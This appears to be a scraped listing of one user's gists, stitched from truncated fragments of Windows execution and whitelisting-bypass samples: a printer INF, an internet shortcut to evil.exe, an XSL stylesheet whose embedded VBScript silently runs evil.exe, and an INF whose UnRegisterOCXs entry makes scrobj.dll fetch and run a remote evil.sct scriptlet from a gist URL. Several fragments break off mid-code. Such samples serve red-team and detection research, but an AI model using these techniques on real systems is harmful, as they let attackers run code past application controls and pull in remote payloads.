fareedfauzi

; ----------------------------------------------------------------------
; Required Sections
; ----------------------------------------------------------------------
[Version] 
Signature=$CHICAGO$
Provider=test
Class=Printer

[Manufacturer]
HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64

fareedfauzi

[InternetShortcut]
URL=file:///c:\windows\system32\evil.exe

fareedfauzi

<a></a>

fareedfauzi

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">
<!--   
	From:
		https://gist.github.com/subTee/d9380299ff35738723cb44f230ab39a1#file-script-xsl	
-->

fareedfauzi

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">

<msxsl:script language="VBScript" implements-prefix="user">
function myFunction()
set shell=createobject("wscript.shell")
shell.run "evil.exe",0
myFunction = 0

fareedfauzi

MsgBox "Bypassed!"

fareedfauzi

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection

[UnRegisterOCXSection]
%11%\scrobj.dll,NI,https://gist.githubusercontent.com/fareedfauzi/17705115ffad1d66af5fbbdb0afbca41/raw/e483189823cde37294fd212ce6b552f533158032/evil.sct

fareedfauzi

@echo off
echo ====================================================
echo  Example of usage... :)
echo  Enter executable path: C:\Program Files\HxD\HxD.exe
echo  Enter your program's name:  HxD
echo ====================================================
echo.
set /p exepath=Enter executable path: 
set /p programName=Enter your program's name: 
 

fareedfauzi

Write-Output "Hello World" 

fareedfauzi

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Workflow.Activities;

	public class Program : SequentialWorkflowActivity